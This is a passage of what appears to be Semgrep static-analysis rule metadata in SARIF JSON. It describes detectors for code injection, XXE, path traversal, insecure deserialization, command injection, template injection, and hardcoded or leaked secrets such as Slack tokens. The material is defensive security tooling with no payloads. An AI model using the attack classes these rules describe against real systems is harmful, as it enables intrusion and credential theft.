trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"help":{"markdown":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection","id":"java.lang.security.audit.script-engine-injection.script-engine-injection","name":"java.lang.security.audit.script-engine-injection.script-engine-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.script-engine-injection.script-engine-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","id":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","name":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"help":{"markdown":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","id":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","name":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"help":{"markdown":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","id":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","name":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","id":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","name":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"help":{"markdown":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","id":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","name":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request)\n - [https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/](https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","id":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","name":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR Repository isn't configured to scan images on push"},"help":{"markdown":"The ECR Repository isn't configured to scan images on push\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push)\n - [https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components)\n","text":"The ECR Repository isn't configured to scan images on push"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","id":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","name":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","id":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","name":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","id":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","name":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context","id":"python.django.security.locals-as-template-context.locals-as-template-context","name":"python.django.security.locals-as-template-context.locals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.locals-as-template-context.locals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","id":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","name":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"help":{"markdown":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include)\n - [https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n - [https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60](https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60)\n","text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","id":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","name":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode)\n - [https://jwt-scala.github.io/jwt-scala/](https://jwt-scala.github.io/jwt-scala/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","id":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","name":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"help":{"markdown":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","id":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","name":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Token detected"},"help":{"markdown":"Slack Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token)\n - [https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58](https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58)\n","text":"Slack Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token","id":"generic.secrets.security.detected-slack-token.detected-slack-token","name":"generic.secrets.security.detected-slack-token.detected-slack-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 